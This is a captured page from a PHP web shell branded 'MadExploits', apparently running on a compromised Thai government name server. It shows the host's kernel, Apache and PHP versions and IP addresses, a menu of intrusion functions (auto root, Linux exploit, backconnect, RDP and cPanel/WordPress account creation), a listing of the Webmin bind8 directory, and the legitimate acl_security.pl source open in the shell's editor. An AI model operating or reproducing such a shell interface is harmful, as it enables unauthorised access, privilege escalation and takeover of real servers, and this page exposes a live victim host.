Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
bind8 /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
12.67
KB
-rw-r--r--
acl_security.pl
10.2
KB
-rwxr-xr-x
backup_config.pl
1.37
KB
-rwxr-xr-x
bind8-lib.pl
109.57
KB
-rwxr-xr-x
cgi_args.pl
1.83
KB
-rwxr-xr-x
check_zone.cgi
992
B
-rwxr-xr-x
close.cgi
289
B
-rwxr-xr-x
conf_acls.cgi
936
B
-rwxr-xr-x
conf_controls.cgi
2.29
KB
-rwxr-xr-x
conf_dnssec.cgi
883
B
-rwxr-xr-x
conf_dnssectools.cgi
2.11
KB
-rwxr-xr-x
conf_files.cgi
1.14
KB
-rwxr-xr-x
conf_forwarding.cgi
1.49
KB
-rwxr-xr-x
conf_keys.cgi
1.02
KB
-rwxr-xr-x
conf_logging.cgi
4.8
KB
-rwxr-xr-x
conf_manual.cgi
1.16
KB
-rwxr-xr-x
conf_misc.cgi
1.9
KB
-rwxr-xr-x
conf_ncheck.cgi
754
B
-rwxr-xr-x
conf_net.cgi
3.42
KB
-rwxr-xr-x
conf_rndc.cgi
1.1
KB
-rwxr-xr-x
conf_servers.cgi
1.75
KB
-rwxr-xr-x
conf_trusted.cgi
2.79
KB
-rwxr-xr-x
conf_zonedef.cgi
4.81
KB
-rwxr-xr-x
config-CentOS-Linux-6.0-ALL
1.11
KB
-rw-r--r--
config-Redhat-Enterprise-Linux...
904
B
-rw-r--r--
config-Scientific-Linux-6.0-AL...
907
B
-rw-r--r--
config-aix
703
B
-rw-r--r--
config-cobalt-linux
708
B
-rw-r--r--
config-coherent-linux
843
B
-rw-r--r--
config-corel-linux
708
B
-rw-r--r--
config-debian-linux
708
B
-rw-r--r--
config-debian-linux-2.2
713
B
-rw-r--r--
config-debian-linux-3.0
828
B
-rw-r--r--
config-debian-linux-3.1-ALL
920
B
-rw-r--r--
config-freebsd-2.1-2.2
714
B
-rw-r--r--
config-freebsd-3.0
715
B
-rw-r--r--
config-freebsd-3.1-3.5
708
B
-rw-r--r--
config-freebsd-4.0-ALL
715
B
-rw-r--r--
config-generic-linux
736
B
-rw-r--r--
config-gentoo-linux
813
B
-rw-r--r--
config-hpux
708
B
-rw-r--r--
config-irix
708
B
-rw-r--r--
config-macos
714
B
-rw-r--r--
config-macos-1.3-ALL
775
B
-rw-r--r--
config-mandrake-linux
800
B
-rw-r--r--
config-mandrake-linux-10.2-ALL
788
B
-rw-r--r--
config-msc-linux
774
B
-rw-r--r--
config-netbsd
715
B
-rw-r--r--
config-open-linux
784
B
-rw-r--r--
config-openbsd-2.5-3.1
708
B
-rw-r--r--
config-openbsd-3.2-ALL
726
B
-rw-r--r--
config-openmamba-linux
784
B
-rw-r--r--
config-openserver
708
B
-rw-r--r--
config-osf1
708
B
-rw-r--r--
config-pardus-linux
861
B
-rw-r--r--
config-redhat-linux
784
B
-rw-r--r--
config-redhat-linux-10.0
947
B
-rw-r--r--
config-redhat-linux-11.0-23.0
955
B
-rw-r--r--
config-redhat-linux-24.0-ALL
957
B
-rw-r--r--
config-redhat-linux-7.1-9.0
818
B
-rw-r--r--
config-slackware-linux
708
B
-rw-r--r--
config-slackware-linux-8.0-ALL
742
B
-rw-r--r--
config-sol-linux
836
B
-rw-r--r--
config-solaris
723
B
-rw-r--r--
config-solaris-10-ALL
821
B
-rw-r--r--
config-solaris-7-9
711
B
-rw-r--r--
config-suse-linux
708
B
-rw-r--r--
config-suse-linux-8.2
868
B
-rw-r--r--
config-suse-linux-9.0-9.2
981
B
-rw-r--r--
config-suse-linux-9.3-ALL
1.02
KB
-rw-r--r--
config-syno-linux
669
B
-rw-r--r--
config-trustix-linux
913
B
-rw-r--r--
config-trustix-linux-2.1
909
B
-rw-r--r--
config-trustix-linux-2.2-ALL
925
B
-rw-r--r--
config-turbo-linux
708
B
-rw-r--r--
config-united-linux
808
B
-rw-r--r--
config-unixware
749
B
-rw-r--r--
config-windows
1.15
KB
-rw-r--r--
config.info
3.95
KB
-rw-r--r--
config.info.bg
4.48
KB
-rw-r--r--
config.info.bg.UTF-8
6.87
KB
-rw-r--r--
config.info.ca
4.45
KB
-rw-r--r--
config.info.ca.UTF-8
4.5
KB
-rw-r--r--
config.info.cz
3.11
KB
-rw-r--r--
config.info.cz.UTF-8
3.33
KB
-rw-r--r--
config.info.de
4.8
KB
-rw-r--r--
config.info.de.UTF-8
4.8
KB
-rw-r--r--
config.info.es
3.52
KB
-rw-r--r--
config.info.es.UTF-8
3.52
KB
-rw-r--r--
config.info.fa
4.71
KB
-rw-r--r--
config.info.fr
4.55
KB
-rw-r--r--
config.info.fr.UTF-8
4.55
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja_JP.UTF-8
4.03
KB
-rw-r--r--
config.info.ja_JP.euc
3.08
KB
-rw-r--r--
config.info.ms_MY
1.12
KB
-rw-r--r--
config.info.ms_MY.UTF-8
1.12
KB
-rw-r--r--
config.info.nl
4.1
KB
-rw-r--r--
config.info.nl.UTF-8
4.1
KB
-rw-r--r--
config.info.no
4.12
KB
-rw-r--r--
config.info.no.UTF-8
4.12
KB
-rw-r--r--
config.info.pl
4.26
KB
-rw-r--r--
config.info.pl.UTF-8
4.41
KB
-rw-r--r--
config.info.pt_BR
4
KB
-rw-r--r--
config.info.pt_BR.UTF-8
4.04
KB
-rw-r--r--
config.info.ru.UTF-8
3.19
KB
-rw-r--r--
config.info.ru_RU
2.02
KB
-rw-r--r--
config.info.ru_RU.UTF-8
3.19
KB
-rw-r--r--
config.info.ru_SU
2.03
KB
-rw-r--r--
config.info.sv
1.2
KB
-rw-r--r--
config.info.sv.UTF-8
1.2
KB
-rw-r--r--
config.info.tr
582
B
-rw-r--r--
config.info.uk_UA
2.11
KB
-rw-r--r--
config.info.uk_UA.UTF-8
3.28
KB
-rw-r--r--
config.info.zh_CN
660
B
-rw-r--r--
config.info.zh_CN.UTF-8
794
B
-rw-r--r--
config.info.zh_TW.Big5
294
B
-rw-r--r--
config.info.zh_TW.UTF-8
364
B
-rw-r--r--
convert_master.cgi
992
B
-rwxr-xr-x
convert_slave.cgi
1.38
KB
-rwxr-xr-x
cpan_modules.pl
143
B
-rw-r--r--
create_delegation.cgi
1.72
KB
-rwxr-xr-x
create_forward.cgi
2.04
KB
-rwxr-xr-x
create_hint.cgi
1.42
KB
-rwxr-xr-x
create_master.cgi
5.56
KB
-rwxr-xr-x
create_slave.cgi
4.05
KB
-rwxr-xr-x
create_view.cgi
1.45
KB
-rwxr-xr-x
db.cache
2.44
KB
-rw-r--r--
defaultacl
219
B
-rw-r--r--
delegation_form.cgi
1.25
KB
-rwxr-xr-x
delete_recs.cgi
2.58
KB
-rwxr-xr-x
delete_view.cgi
2.29
KB
-rwxr-xr-x
delete_zone.cgi
4.94
KB
-rwxr-xr-x
disable_zonedt.cgi
881
B
-rwxr-xr-x
disable_zonekey.cgi
862
B
-rwxr-xr-x
dns_boot.cgi
2.5
KB
-rwxr-xr-x
edit_delegation.cgi
1.09
KB
-rwxr-xr-x
edit_forward.cgi
1.8
KB
-rwxr-xr-x
edit_hint.cgi
972
B
-rwxr-xr-x
edit_master.cgi
5.73
KB
-rwxr-xr-x
edit_options.cgi
1.56
KB
-rwxr-xr-x
edit_record.cgi
1.08
KB
-rwxr-xr-x
edit_recs.cgi
7.57
KB
-rwxr-xr-x
edit_slave.cgi
3.92
KB
-rwxr-xr-x
edit_soa.cgi
2.49
KB
-rwxr-xr-x
edit_soptions.cgi
2.05
KB
-rwxr-xr-x
edit_stub.cgi
3.92
KB
-rwxr-xr-x
edit_text.cgi
1.26
KB
-rwxr-xr-x
edit_view.cgi
2.07
KB
-rwxr-xr-x
edit_zonedt.cgi
6.5
KB
-rwxr-xr-x
edit_zonekey.cgi
3.78
KB
-rwxr-xr-x
enable_zonedt.cgi
1.07
KB
-rwxr-xr-x
enable_zonekey.cgi
1.36
KB
-rwxr-xr-x
feedback_files.pl
535
B
-rwxr-xr-x
find_free.cgi
5.53
KB
-rwxr-xr-x
find_zones.cgi
3.84
KB
-rwxr-xr-x
fix_trusted.cgi
972
B
-rwxr-xr-x
forward_form.cgi
1.33
KB
-rwxr-xr-x
free_chooser.cgi
1.93
KB
-rwxr-xr-x
freeze_zone.cgi
1.03
KB
-rwxr-xr-x
hint_form.cgi
1.74
KB
-rwxr-xr-x
index.cgi
17.66
KB
-rwxr-xr-x
install_check.pl
491
B
-rwxr-xr-x
list_gen.cgi
1.89
KB
-rwxr-xr-x
list_slaves.cgi
3.22
KB
-rwxr-xr-x
log_parser.pl
2.44
KB
-rwxr-xr-x
mass_create.cgi
7.28
KB
-rwxr-xr-x
mass_delete.cgi
3.06
KB
-rwxr-xr-x
mass_form.cgi
1.39
KB
-rwxr-xr-x
mass_rcreate.cgi
3.48
KB
-rwxr-xr-x
mass_rcreate_form.cgi
1.44
KB
-rwxr-xr-x
mass_rdelete.cgi
1.79
KB
-rwxr-xr-x
mass_rdelete_form.cgi
1.25
KB
-rwxr-xr-x
mass_update.cgi
2.92
KB
-rwxr-xr-x
mass_update_form.cgi
1.07
KB
-rwxr-xr-x
master_form.cgi
3.43
KB
-rwxr-xr-x
module.info
279
B
-rw-r--r--
module.info.bg
24
B
-rw-r--r--
module.info.bg.UTF-8
36
B
-rw-r--r--
module.info.ca
106
B
-rw-r--r--
module.info.ca.UTF-8
118
B
-rw-r--r--
module.info.cz
24
B
-rw-r--r--
module.info.cz.UTF-8
30
B
-rw-r--r--
module.info.de
117
B
-rw-r--r--
module.info.de.UTF-8
129
B
-rw-r--r--
module.info.es
29
B
-rw-r--r--
module.info.es.UTF-8
35
B
-rw-r--r--
module.info.fr
41
B
-rw-r--r--
module.info.fr.UTF-8
47
B
-rw-r--r--
module.info.hu
27
B
-rw-r--r--
module.info.hu.UTF-8
33
B
-rw-r--r--
module.info.ja_JP.UTF-8
36
B
-rw-r--r--
module.info.ja_JP.euc
31
B
-rw-r--r--
module.info.ko_KR.UTF-8
34
B
-rw-r--r--
module.info.ko_KR.euc
30
B
-rw-r--r--
module.info.ms_MY
116
B
-rw-r--r--
module.info.ms_MY.UTF-8
128
B
-rw-r--r--
module.info.nl
24
B
-rw-r--r--
module.info.nl.UTF-8
30
B
-rw-r--r--
module.info.no
24
B
-rw-r--r--
module.info.no.UTF-8
30
B
-rw-r--r--
module.info.pl
95
B
-rw-r--r--
module.info.pl.UTF-8
108
B
-rw-r--r--
module.info.pt
29
B
-rw-r--r--
module.info.pt.UTF-8
35
B
-rw-r--r--
module.info.pt_BR
32
B
-rw-r--r--
module.info.pt_BR.UTF-8
38
B
-rw-r--r--
module.info.ru.UTF-8
36
B
-rw-r--r--
module.info.ru_RU
27
B
-rw-r--r--
module.info.ru_RU.UTF-8
39
B
-rw-r--r--
module.info.ru_SU
27
B
-rw-r--r--
module.info.sv
24
B
-rw-r--r--
module.info.sv.UTF-8
30
B
-rw-r--r--
module.info.tr
26
B
-rw-r--r--
module.info.zh_CN
27
B
-rw-r--r--
module.info.zh_TW.Big5
32
B
-rw-r--r--
move_zone.cgi
1.22
KB
-rwxr-xr-x
old_save_controls.cgi
2.08
KB
-rwxr-xr-x
open.cgi
254
B
-rwxr-xr-x
records-lib.pl
25.12
KB
-rwxr-xr-x
refetch.cgi
652
B
-rwxr-xr-x
resign.pl
2.03
KB
-rwxr-xr-x
resign_zone.cgi
655
B
-rwxr-xr-x
restart.cgi
716
B
-rwxr-xr-x
restart_zone.cgi
784
B
-rwxr-xr-x
save_acls.cgi
1.55
KB
-rwxr-xr-x
save_controls.cgi
2.25
KB
-rwxr-xr-x
save_dnssec.cgi
1.24
KB
-rwxr-xr-x
save_dnssectools.cgi
1.34
KB
-rwxr-xr-x
save_files.cgi
778
B
-rwxr-xr-x
save_forward.cgi
794
B
-rwxr-xr-x
save_forwarding.cgi
1.02
KB
-rwxr-xr-x
save_gen.cgi
3.74
KB
-rwxr-xr-x
save_keys.cgi
1.09
KB
-rwxr-xr-x
save_logging.cgi
2.92
KB
-rwxr-xr-x
save_manual.cgi
721
B
-rwxr-xr-x
save_master.cgi
1.01
KB
-rwxr-xr-x
save_misc.cgi
1.25
KB
-rwxr-xr-x
save_net.cgi
3.11
KB
-rwxr-xr-x
save_record.cgi
21.63
KB
-rwxr-xr-x
save_rndc.cgi
2.71
KB
-rwxr-xr-x
save_servers.cgi
1.68
KB
-rwxr-xr-x
save_slave.cgi
1.5
KB
-rwxr-xr-x
save_soa.cgi
2.53
KB
-rwxr-xr-x
save_text.cgi
1.06
KB
-rwxr-xr-x
save_trusted.cgi
2.71
KB
-rwxr-xr-x
save_view.cgi
1.31
KB
-rwxr-xr-x
save_zonedef.cgi
3
KB
-rwxr-xr-x
sign_zone.cgi
717
B
-rwxr-xr-x
slave_add.cgi
5.24
KB
-rwxr-xr-x
slave_delete.cgi
598
B
-rwxr-xr-x
slave_form.cgi
2.1
KB
-rwxr-xr-x
start.cgi
350
B
-rwxr-xr-x
stop.cgi
277
B
-rwxr-xr-x
stub_form.cgi
2.1
KB
-rwxr-xr-x
syslog_logs.pl
650
B
-rwxr-xr-x
system_info.pl
1.01
KB
-rw-r--r--
unfreeze_zone.cgi
1.02
KB
-rwxr-xr-x
view_form.cgi
1.06
KB
-rwxr-xr-x
view_text.cgi
1.09
KB
-rwxr-xr-x
whois.cgi
1.21
KB
-rwxr-xr-x
xfer.cgi
1.61
KB
-rwxr-xr-x
zone_dnssecmgt_dt.cgi
1.32
KB
-rwxr-xr-x
zone_dnssecmigrate_dt.cgi
2.26
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : acl_security.pl
use strict; use warnings; require 'bind8-lib.pl'; # Globals from bind8-lib.pl our (%config, %text, %in); # acl_security_form(&options) # Output HTML for editing security options for the bind8 module sub acl_security_form { my $m = $_[0]->{'zones'} eq '*' ? 1 : $_[0]->{'zones'} =~ /^\!/ ? 2 : 0; print "<tr> <td valign=top><b>$text{'acl_zones'}</b></td>\n"; print "<td colspan=3><table cellpadding=0 cellspacing=0> <tr><td valign=top>\n"; printf "<input type=radio name=zones_def value=1 %s> %s<br>\n", $m == 1 ? 'checked' : '', $text{'acl_zall'}; printf "<input type=radio name=zones_def value=0 %s> %s<br>\n", $m == 0 ? 'checked' : '', $text{'acl_zsel'}; printf "<input type=radio name=zones_def value=2 %s> %s</td>\n", $m == 2 ? 'checked' : '', $text{'acl_znsel'}; print "<td><select name=zones multiple size=4 width=150>\n"; my $conf = &get_config(); my @zones = grep { $_->{'value'} ne "." } &find("zone", $conf); my @views = &find("view", $conf); foreach my $v (@views) { push(@zones, grep { $_->{'value'} ne "." } &find("zone", $v->{'members'})); } my %zcan; map { $zcan{$_}++ } split(/\s+/, $_[0]->{'zones'}); foreach my $z (sort { $a->{'value'} cmp $b->{'value'} } @zones) { printf "<option value='%s' %s>%s</option>\n", $z->{'value'}, $zcan{$z->{'value'}} ? "selected" : "", &arpa_to_ip($z->{'value'}); } foreach my $v (sort { $a->{'value'} cmp $b->{'value'} } @views) { printf "<option value='%s' %s>%s</option>\n", 'view_'.$v->{'value'}, $zcan{'view_'.$v->{'value'}} ? "selected" : "", &text('acl_inview', $v->{'value'}); } print "</select></td> </tr></table></td></tr>\n"; if (@views) { print "<tr> <td valign=top><b>$text{'acl_inviews'}</b></td>\n"; print "<td colspan=3>\n"; print &ui_radio("inviews_def", $_[0]->{'inviews'} eq "*" ? 1 : 0, [ [ 1, $text{'acl_vall'} ], [ 0, $text{'acl_vsel'} ] ]),"<br>\n"; print "<select name=inviews multiple size=4 width=150>\n"; my %vcan; map { $vcan{$_}++ } split(/\s+/, $_[0]->{'inviews'}); printf "<option value='%s' %s>%s</option>\n", "_", $vcan{"_"} ? "selected" : "", "<".$text{'acl_toplevel'}.">"; foreach my $v (sort { $a->{'value'} cmp $b->{'value'} } @views) { printf "<option value='%s' %s>%s</option>\n", $v->{'value'}, $vcan{$v->{'value'}} ? "selected" : "", $v->{'value'}; } print "</select></td></tr>\n"; } print "<tr> <td><b>$text{'acl_types'}</b></td> <td colspan=3>\n"; printf "<input type=radio name=types_def value=1 %s> %s\n", $_[0]->{'types'} ? "" : "checked", $text{'acl_types1'}; printf "<input type=radio name=types_def value=0 %s> %s\n", $_[0]->{'types'} ? "checked" : "", $text{'acl_types0'}; printf "<input name=types size=40 value='%s'></td> </tr>\n", $_[0]->{'types'}; print "<tr> <td valign=top><b>$text{'acl_dir'}</b></td>\n"; printf "<td colspan=3><input name=dir size=30 value='%s'> %s<br>\n", $_[0]->{'dir'}, &file_chooser_button("dir", 1); printf "<input type=checkbox name=dironly value=1 %s> %s</td> </tr>\n", $_[0]->{'dironly'} ? "checked" : "", $text{'acl_dironly'}; print "<tr> <td><b>$text{'acl_defaults'}</b></td> <td nowrap>\n"; printf "<input type=radio name=defaults value=1 %s> $text{'yes'}\n", $_[0]->{'defaults'} ? "checked" : ""; printf "<input type=radio name=defaults value=0 %s> $text{'no'}</td> </tr>\n", $_[0]->{'defaults'} ? "" : "checked"; print "<tr> <td><b>$text{'acl_ztypes'}</b></td> <td colspan=3>\n"; foreach my $t ("master", "slave", "forward", "delegation") { printf "<input type=checkbox name=%s %s> %s\n", $t, $_[0]->{$t} ? "checked" : "", $text{'acl_ztypes_'.$t}; } print "</td> </tr>\n"; print "<tr> <td><b>$text{'acl_reverse'}</b></td> <td nowrap>\n"; printf "<input type=radio name=reverse value=1 %s> $text{'yes'}\n", $_[0]->{'reverse'} ? "checked" : ""; printf "<input type=radio name=reverse value=0 %s> $text{'no'}</td>\n", $_[0]->{'reverse'} ? "" : "checked"; print "<td><b>$text{'acl_multiple'}</b></td> <td nowrap>\n"; printf "<input type=radio name=multiple value=1 %s> $text{'yes'}\n", $_[0]->{'multiple'} ? "checked" : ""; printf "<input type=radio name=multiple value=0 %s> $text{'no'}</td> </tr>\n", $_[0]->{'multiple'} ? "" : "checked"; print "<tr> <td><b>$text{'acl_ro'}</b></td> <td nowrap>\n"; printf "<input type=radio name=ro value=1 %s> $text{'yes'}\n", $_[0]->{'ro'} ? "checked" : ""; printf "<input type=radio name=ro value=0 %s> $text{'no'}</td>\n", $_[0]->{'ro'} ? "" : "checked"; print "<td><b>$text{'acl_apply'}</b></td> <td nowrap>\n"; print &ui_select("apply", $_[0]->{'apply'}, [ [ 1, $text{'yes'} ], [ 2, $text{'acl_applyonly'} ], [ 3, $text{'acl_applygonly'} ], [ 0, $text{'no'} ] ]),"</td> </tr>\n"; print "<tr> <td><b>$text{'acl_file'}</b></td> <td nowrap>\n"; printf "<input type=radio name=file value=1 %s> $text{'yes'}\n", $_[0]->{'file'} ? "checked" : ""; printf "<input type=radio name=file value=0 %s> $text{'no'}</td>\n", $_[0]->{'file'} ? "" : "checked"; print "<td><b>$text{'acl_params'}</b></td> <td nowrap>\n"; printf "<input type=radio name=params value=1 %s> $text{'yes'}\n", $_[0]->{'params'} ? "checked" : ""; printf "<input type=radio name=params value=0 %s> $text{'no'}</td> </tr>\n", $_[0]->{'params'} ? "" : "checked"; print "<tr> <td><b>$text{'acl_opts'}</b></td> <td nowrap>\n"; printf "<input type=radio name=opts value=1 %s> $text{'yes'}\n", $_[0]->{'opts'} ? "checked" : ""; printf "<input type=radio name=opts value=0 %s> $text{'no'}</td>\n", $_[0]->{'opts'} ? "" : "checked"; print "<td><b>$text{'acl_delete'}</b></td> <td nowrap>\n"; printf "<input type=radio name=delete value=1 %s> $text{'yes'}\n", $_[0]->{'delete'} ? "checked" : ""; printf "<input type=radio name=delete value=0 %s> $text{'no'}</td> </tr>\n", $_[0]->{'delete'} ? "" : "checked"; print "<tr> <td><b>$text{'acl_gen'}</b></td> <td nowrap>\n"; printf "<input type=radio name=gen value=1 %s> $text{'yes'}\n", $_[0]->{'gen'} ? "checked" : ""; printf "<input type=radio name=gen value=0 %s> $text{'no'}</td>\n", $_[0]->{'gen'} ? "" : "checked"; print "<td><b>$text{'acl_whois'}</b></td> <td nowrap>\n"; printf "<input type=radio name=whois value=1 %s> $text{'yes'}\n", $_[0]->{'whois'} ? "checked" : ""; printf "<input type=radio name=whois value=0 %s> $text{'no'}</td> </tr>\n", $_[0]->{'whois'} ? "" : "checked"; print "<tr> <td><b>$text{'acl_findfree'}</b></td> <td nowrap>\n"; printf "<input type=radio name=findfree value=1 %s> $text{'yes'}\n", $_[0]->{'findfree'} ? "checked" : ""; printf "<input type=radio name=findfree value=0 %s> $text{'no'}</td>\n", $_[0]->{'findfree'} ? "" : "checked"; print "<td><b>$text{'acl_remote'}</b></td> <td nowrap>\n"; printf "<input type=radio name=remote value=1 %s> $text{'yes'}\n", $_[0]->{'remote'} ? "checked" : ""; printf "<input type=radio name=remote value=0 %s> $text{'no'}</td> </tr>\n", $_[0]->{'remote'} ? "" : "checked"; print "<tr> <td><b>$text{'acl_slaves'}</b></td> <td nowrap>\n"; printf "<input type=radio name=slaves value=1 %s> $text{'yes'}\n", $_[0]->{'slaves'} ? "checked" : ""; printf "<input type=radio name=slaves value=0 %s> $text{'no'}</td>\n", $_[0]->{'slaves'} ? "" : "checked"; print "<td><b>$text{'acl_dnssec'}</b></td> <td nowrap>\n"; printf "<input type=radio name=dnssec value=1 %s> $text{'yes'}\n", $_[0]->{'dnssec'} ? "checked" : ""; printf "<input type=radio name=dnssec value=0 %s> $text{'no'}</td> </tr>\n", $_[0]->{'dnssec'} ? "" : "checked"; print "</tr>\n"; print "<tr> <td><b>$text{'acl_views'}</b></td> <td colspan=3>\n"; printf "<input type=radio name=views value=1 %s> $text{'yes'}\n", $_[0]->{'views'} == 1 ? "checked" : ""; printf "<input type=radio name=views value=2 %s> $text{'acl_edonly'}\n", $_[0]->{'views'} == 2 ? "checked" : ""; printf "<input type=radio name=views value=0 %s> $text{'no'}</td> </tr>\n", $_[0]->{'views'} ? "" : "checked"; if (@views) { my $m = $_[0]->{'vlist'} eq '*' ? 1 : $_[0]->{'vlist'} =~ /^\!/ ? 2 : $_[0]->{'vlist'} eq '' ? 3 : 0; print "<tr> <td valign=top><b>$text{'acl_vlist'}</b></td>\n"; print "<td colspan=3><table cellpadding=0 cellspacing=0> <tr><td valign=top>\n"; printf "<input type=radio name=vlist_def value=1 %s> %s<br>\n", $m == 1 ? 'checked' : '', $text{'acl_vall'}; printf "<input type=radio name=vlist_def value=0 %s> %s<br>\n", $m == 0 ? 'checked' : '', $text{'acl_vsel'}; printf "<input type=radio name=vlist_def value=2 %s> %s<br>\n", $m == 2 ? 'checked' : '', $text{'acl_vnsel'}; printf "<input type=radio name=vlist_def value=3 %s> %s</td>\n", $m == 3 ? 'checked' : '', $text{'acl_vnone'}; print "<td><select name=vlist multiple size=4 width=150>\n"; my ($v, %vcan); map { $vcan{$_}++ } split(/\s+/, $_[0]->{'vlist'}); foreach my $v (sort { $a->{'value'} cmp $b->{'value'} } @views) { printf "<option value='%s' %s>%s</option>\n", $v->{'value'}, $vcan{$v->{'value'}} ? "selected" : "", $v->{'value'}; } print "</select></td> </tr></table></td></tr>\n"; } } # acl_security_save(&options) # Parse the form for security options for the bind8 module sub acl_security_save { if ($in{'zones_def'} == 1) { $_[0]->{'zones'} = "*"; } elsif ($in{'zones_def'} == 2) { $_[0]->{'zones'} = join(" ", "!", split(/\0/, $in{'zones'})); } else { $_[0]->{'zones'} = join(" ", split(/\0/, $in{'zones'})); } $_[0]->{'inviews'} = !defined($in{'inviews'}) || $in{'inviews_def'} ? "*" : join(" ", split(/\0/, $in{'inviews'})); $_[0]->{'types'} = $in{'types_def'} ? undef : $in{'types'}; $_[0]->{'master'} = $in{'master'} || 0; $_[0]->{'slave'} = $in{'slave'} || 0; $_[0]->{'forward'} = $in{'forward'} || 0; $_[0]->{'delegation'} = $in{'delegation'} || 0; $_[0]->{'defaults'} = $in{'defaults'}; $_[0]->{'reverse'} = $in{'reverse'}; $_[0]->{'multiple'} = $in{'multiple'}; $_[0]->{'ro'} = $in{'ro'}; $_[0]->{'apply'} = $in{'apply'}; $_[0]->{'dir'} = $in{'dir'}; $_[0]->{'dironly'} = $in{'dironly'}; $_[0]->{'file'} = $in{'file'}; $_[0]->{'params'} = $in{'params'}; $_[0]->{'opts'} = $in{'opts'}; $_[0]->{'delete'} = $in{'delete'}; $_[0]->{'findfree'} = $in{'findfree'}; $_[0]->{'slaves'} = $in{'slaves'}; $_[0]->{'views'} = $in{'views'}; $_[0]->{'remote'} = $in{'remote'}; $_[0]->{'dnssec'} = $in{'dnssec'}; $_[0]->{'gen'} = $in{'gen'}; $_[0]->{'whois'} = $in{'whois'}; $_[0]->{'vlist'} = $in{'vlist_def'} == 1 ? "*" : $in{'vlist_def'} == 3 ? "" : $in{'vlist_def'} == 2 ? join(" ", "!",split(/\0/, $in{'vlist'})) : join(" ", split(/\0/, $in{'vlist'})); }
Close